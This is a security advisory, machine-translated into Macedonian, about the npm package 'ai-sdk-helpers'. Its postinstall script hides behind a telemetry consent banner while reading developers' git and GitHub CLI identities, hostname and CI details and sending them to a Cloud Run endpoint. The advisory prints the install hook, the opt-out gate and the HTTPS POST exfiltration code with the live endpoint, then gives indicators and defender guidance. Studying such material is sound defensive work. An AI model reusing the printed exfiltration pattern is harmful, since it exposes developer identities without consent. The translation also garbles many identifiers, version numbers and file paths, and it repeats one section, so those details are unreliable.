TL; ДР
Еден npm пакет, ai-sdk-помошници, се претставува како комплет алатки за производство за Vercel AI SDK, нудејќи следење на трошоците, резервна копија на добавувачот и помагала за стриминг.
Неговата скрипта за време на инсталацијата се отвора со дотеран банер за откривање информации што опишува анонимна дијагностика, ветувајќи дека не се пренесуваат изворен код, токени или акредитиви, почитувајќи го DO_NOT_TRACK откажување и поврзување со страница за политика за телеметрија.
Истата скрипта потоа го чита git идентитетот на развивачот, конфигурацијата на GitHub CLI, името на хостот на машината, корисничкото име на оперативниот систем, работниот директориум и CI провајдерот.
Тие податоци се ПОСТАВУВААТ како JSON до крајна точка на Google Cloud Run, создавајќи јасна несовпаѓање помеѓу наведената политика за телеметрија и вистинските собрани полиња.
Пакетот беше објавен во дваесет и две верзии во еден наплив од 83 секунди, а скриптата за инсталација е идентична бајт-по-бајт во секоја означена верзија.
Седум од осумте верзии разгледани од нашите pipeline беа оценети како неубедливи од класификаторот за машинско учење бидејќи стилизирањето на банерот за согласност се чита како легитимна телеметрија.
Ние класифицираме ai-sdk-helpers како злонамерен врз основа на собирање и ексфилтрација на идентитетот на развивачот за време на инсталацијата.
Тежина: висока.
Анатомија на инсталацијата
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } постинсталација работи автоматски на npm инсталирај, пред да се импортира кој било од рекламираните кодови на пакетот. Скриптата скрипти/постинстал.js е местото каде што се наоѓа целото однесување за време на инсталацијата.
Се отвора со блок за коментари и известување за време на извршување напишано во регистарот на проект со отворен код кој ја почитува приватноста:
>Кога инсталирате ai-sdk-helpers, извршуваме брза проверка на компатибилноста на околината и пријавуваме анонимна дијагностика… Податоците се целосно анонимни - ја собираме вашата платформа, верзијата на Node и еднонасочен хаш на идентификаторот на вашата машина. Никогаш не се пренесуваат изворен код, токени или акредитиви.
Дури и поврзува функционална порта за откажување, првиот извршен код во датотеката:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } првото врзување на оваа порта е она што го прави останатото да се толкува како консензуално: инвеститор кој поставува `D_НЕ_СЛЕДИ` инсталацијата завршува тивко и заклучува дека пакетот ја почитува конвенцијата. Почитуваното откажување е реално. Она што го забранува, за сите што не го поставуваат, е колекцијата опишана подолу - а не потесниот „платформа, верзија на Node и еднонасочен хаш“ како што ги именува известувањето.
Под таа порта, скриптата составува товар што оди многу подалеку од тој опис.
- *Gидентитет.* rрешиScmИдентитет()` eads `~.gitconfig`,`~.config/git/config`,и тековниот проект `.it/config`,парсира `[сер]` екција, и го враќа конфигурираниот commit е-пошта. Ако ниедна конфигурациска датотека не даде е-пошта, се враќа на `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,и `EАИЛ` променливи на околината. Докстринг над функцијата го прикажува читањето како начин „за отстранување на дупликати од инсталации на машини во сопственост на истото лице (на пр. лаптоп + CI)“ - наведена цел што бара стабилен идентификатор по развивач, кој commit материјали за е-пошта.
- *GtHub сметка.* rsolveGitHubIdentity()` eads `~.config/gh/hosts.yml` и `~.config/gh/hosts.yaml` конфигурациската датотека напишана од GitHub CLI кога развивачот се автентицира — и regex-извлекува `uер:` и `елошо:` полиња. Таа датотека исто така го складира токенот GitHub OAuth; регуларниот израз на скриптата ги таргетира конкретно линиите за корисничко име и е-пошта и не го извлекува токенот. Тврдењето „никакви токени… никогаш не се пренесуваат“ на банерот за откривање затоа е буквално точно за тоа едно поле додека околните идентификатори на сметки се читаат и испраќаат.
- *Hst и CI отпечаток од прст.* скриптата потоа собира `o.hostname()`,`o.userInfo().username`,верзијата, платформата и архитектурата на Node, `pпроцес.cwd()`,и етикета на CI-провајдер решена со проверка на променливите на околината за осум провајдери (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite и две generic-CI знамиња). Листата на провајдери се чита како инвентар за тоа каде скриптата очекува да се изврши - интерактивни школки и автоматско градење pipelineе слично.
Сите овие се групирани во еден `dагностици објект, со полињата по развивач собрани под `iентитет` ey и податоците на домаќинот под `rntime` nd `cntext` eys, потоа серијализирано и пренесено:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Одговорот се отфрла и сите грешки се проголтуваат — коментар забележува дека „телеметријата никогаш не смее да ја прекине инсталацијата“. Името на хостот на крајната точка кодира услуга Google Cloud Run во `eјаже-запад1` регион.
Празнината е приказната. Банерот именува три категории на податоци - платформа, верзија на Node, хаш на идентификатор на машина. Товарот испраќа вистински git на развивачот. commit е-пошта, нивното корисничко име и е-пошта на GitHub, името на хостот на нивната машина и името на OS сметката, нивната патека на проектот и нивната CI околина. Полињата што идентификуваат *prson и нивните сметки* точно за полињата што ги изоставува обелоденувањето.
README го зајакнува кадрирањето од другата страна. Неговиот дел „Телеметрија“ го повторува тврдењето за анонимност и го поврзува зборот „D“_НЕ_СЛЕДИ` o `cnsoledonottrack.com`,вистинската страница на заедницата што ја документира конвенцијата за откажување — позајмување призната приватност standard за известувањето да се чита како рутинско.
Хронологија
Ова е откритие за еден пакет со многу кратка, многу густа историја на објавување. Нема повеќенеделен лак на кампањата за следење - целиот опсег на верзии беше објавен со брзина на машината.
| Кога (UTC) | настанот |
|---|---|
| 2026-06-03 20:31:20 | Прва верзија (0.1.0) објавено на npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Сите 22 верзии (0.1.0 преку 1.4.2) објавено во автоматизирана епизода од 83 секунди. |
| 2026-06-04 | Осум верзии се означени со сигнали за детекција; рачната анализа го потврдува собирањето и ексфилтрацијата на идентитетот за време на инсталацијата. Пакетот остана активен на npm во времето на анализата. |
Прозорецот од 83 секунди низ 22 семантички верзии е сам по себе индикатор за однесување: скалата на верзии (`01.0`,`01.1`,… `14.2`)ја прикажува површината на активно одржуван проект со историја на изданија, произведена во едно скриптирано извршување. Скриптата за инсталација не се менува низ таа скала — видете подолу.
Индикатори за компромис
Оптоварувањето за време на инсталација е идентично во целиот објавен опсег на верзии. A `dff` f`sripts/postinstall.js` помеѓу верзијата `02.1` и верзија `14.2` не враќа никакви разлики; однесувањето е еден фиксен отпечаток од прст, а не еволуирачки товар.
мрежа
Прозорецот од 83 секунди низ 22 семантички верзии е сам по себе индикатор за однесување: скалата на верзии (`01.0`,`01.1`,… `14.2`)ја прикажува површината на активно одржуван проект со историја на изданија, произведена во едно скриптирано извршување. Скриптата за инсталација не се менува низ таа скала — видете подолу.
Индикатори за компромис
Оптоварувањето за време на инсталација е идентично во целиот објавен опсег на верзии. A `dff` f`sripts/postinstall.js` помеѓу верзијата `02.1` и верзија `14.2` не враќа никакви разлики; однесувањето е еден фиксен отпечаток од прст, а не еволуирачки товар.
мрежа
| индикатор | Улога |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Крајна точка на ексфилтрација што прима HTTPS POST барања со JSON носивост. Хостирано на Google Cloud Run во europe-west1 регион. |
Инфраструктура на мамка
| индикатор | Улога |
|---|---|
ai-sdk.guide | Почетна страница на пакетот и веб-страница во живо што го поддржуваат идентитетот на авторот на „AI SDK Guide“. |
ai-sdk.guide/telemetry | URL-адресата на политиката за телеметрија е наведена во известувањето за откривање информации за време на инсталацијата. |
hello@ai-sdk.guide | Е-поштата на авторот е декларирана во package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Изворно складиште декларирано од пакетот. |
Датотеките се читаат за време на инсталацијата
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[сер]` пошта
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uер` `eаил`
Однесувачки потписи
- – m `pстинстал` ook повикува пакетна Node скрипта
- – порта за исклучување (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_НЕ_СЛЕДИ`)презентирано како функција за приватност, пред собирањето идентитети
- – tbound HTTPS POST на JSON објект што содржи git е-пошта, GitHub идентитет, име на домаќин, корисничко име на оперативниот систем, cwd и CI етикета
- – идентична скрипта за инсталација низ брзо објавувана скала на верзии
Атрибуција и набљудувано однесување
Ние не припишуваме ништо освен она што го запишуваат метаподатоците на пакетот и регистарот.
Одржувачот на евиденцијата на npm е сметката `aИелсимон`,со адресата `aiel@vigilance.security`.Регистарот ја наведува таа е-пошта како непроверена, а идентитетот на изворот и контролата на сметката како непроверен. `pckage.json`,одделно, го претставува авторот како „Водич за AI SDK“ello@ai-sdk.guide>`”со почетна страница на `a-sdk.guide` и изворен репозиториум под `gорганизација thub.com/ai-sdk-guide`. Доменот на е-пошта на сметката за објавување (`vigilance.security`)и идентитетот на авторот во пакетот (`a-sdk.guide`)се различни домени.
`а-sdk.guide` ite е активен и одговара, а `/елеметрија ath се решава — идентитетот на мамката е поткрепен со достапно веб-присуство, а не со мртва врска, што ја зголемува веродостојноста на рамката на пакетот.
**Набљудувана способност.** За време на инсталацијата, пакетот ги чита идентитетот на развивачот и датотеките за конфигурација на сметката, ги отпечатува хостот и CI околината и го пренесува резултатот до крајна точка контролирана од операторот, додека прикажува известување кое опишува потесен и анонимизиран сет на податоци. Ние го опишуваме ова однесување; не наведуваме мотив за него. Читателите кои го оценуваат пакетот - вклучувајќи ја и секоја страна која го препознава идентитетот на објавување - треба да го земат предвид видливото несовпаѓање помеѓу наведените и вистинските текови на податоци.
Влијание, трендови и насоки за бранителите
Кој е изложен. Секој што инсталира ai-sdk-помошници — директно или како транзитивна зависност — ја извршува колекцијата на таа машина. Бидејќи активирачот е постинсталација, рекламираниот библиотечен код никогаш не мора да се увезува за да се случи протокот на податоци; само инсталацијата е доволна. Највисоко вредните средини се работни станици за програмери со конфигуриран git идентитет и автентициран GitHub CLI, како и CI извршувачи, каде што откривањето на CI-провајдерот на скриптата покажува дека се очекува колекцијата да работи во рамките на build-от. pipelines, како и на лаптопи.
Што открива. Не се тајни на апликацијата во општ случај - товарот се фокусира на идентитет: на развивачот commit е-пошта, нивното име и е-пошта на сметката на GitHub, имињата на машината и сметката и патеката на проектот. Тоа е претходноcisМапа на тоа кој го инсталирал пакетот, на која машина, во кое складиште и под кој CI систем. За една организација, неколку такви записи земени заедно би навеле кои инженери и кои системи за градење ја повлекле зависноста - корисно како претходник на поцелна последователна активност, иако однесувањето на овој пакет запира при собирањето и пренесувањето.
Трендот: телеметрија како покритие. Легитимните алатки за програмери собираат анонимизирана дијагностика на инсталацијата, а конвенциите за тоа да се прави со почит - известување за откривање, НЕ_СЛЕДИ чест, ознака за откажување, URL-адреса на политика — се добро познати. ai-sdk-помошници верно ги репродуцира сите четири конвенции и ги користи како обвивка за собирање идентитет. Присуството на банер за согласност, функционален отказ или линк до политиката за приватност не е доказ дека пакетот е доверлив; тие контроли се ефтини за имитирање. Единствената сигурна проверка е што всушност чита кодот и каде всушност го испраќа.
Ова пакување има и мерлив ефект врз автоматизираната тријажа. Низ сите верзии, нашите pipeline прегледано, коментарите на скриптата за инсталација на едноставен јазик, структурираните имиња на полиња и конвенционалната порта за откажување беа оценети како обична телеметрија: седум од осумте се вратија неубедливо од класификаторот за машинско учење, а не злонамерен. Сигналот што ја решава двосмисленоста не е во прозата - туку во специфичните датотеки што ги отвора скриптата (~ / .gitconfig, ~/.config/gh/hosts.yml) и дестинацијата до која се испраќа. Рецензент, автоматски или човечки, кој го чита објавувањето и застанува тука ќе дојде до погрешен заклучок; одлуката мора да произлезе од фактите од протокот на податоци.
Упатство за бранителите:
- Инсталирај со скрипти оневозможени по дифолт — npm инсталација –игнорирање-скрипти, или поставете игнорирај-скрипти=точно in .npmrc и експлицитно да ги извршува проверените чекори за градење. Ова неутрализира постинсталација-активирано собирање на сите нивоа.
- Не ги третирајте контролите за откажување како сигнали за доверба. A НЕ_СЛЕДИ проверката или врската „политика за телеметрија“ не ви кажуваат ништо за податоците што ги собира скриптата кога портата не е поставена.
- Прочитајте ја куката за инсталација пред да ги прифатите помошните пакети за AI-екосистем. Просторот Vercel AI SDK е брзо движечка цел со голема доверба; постинсталација што допира ~ / .gitconfig or ~/.config/gh/ е јасен сигнал без оглед на тоа како се напишани околните коментари.
- Монитор на излезот во времето на градење. Излезен HTTPS POST за време на npm инсталирај, особено на новообезбедена крајна точка на cloud-функција, е видлива на мрежниот слој и е силна точка на детекција за CI средини.
- Внимавајте на компресирани скали за верзии. Пакет чија цела историја на семантички верзии се појавува за неколку секунди, со непроменлива скрипта за инсталација, претставува произведена историја на одржување.





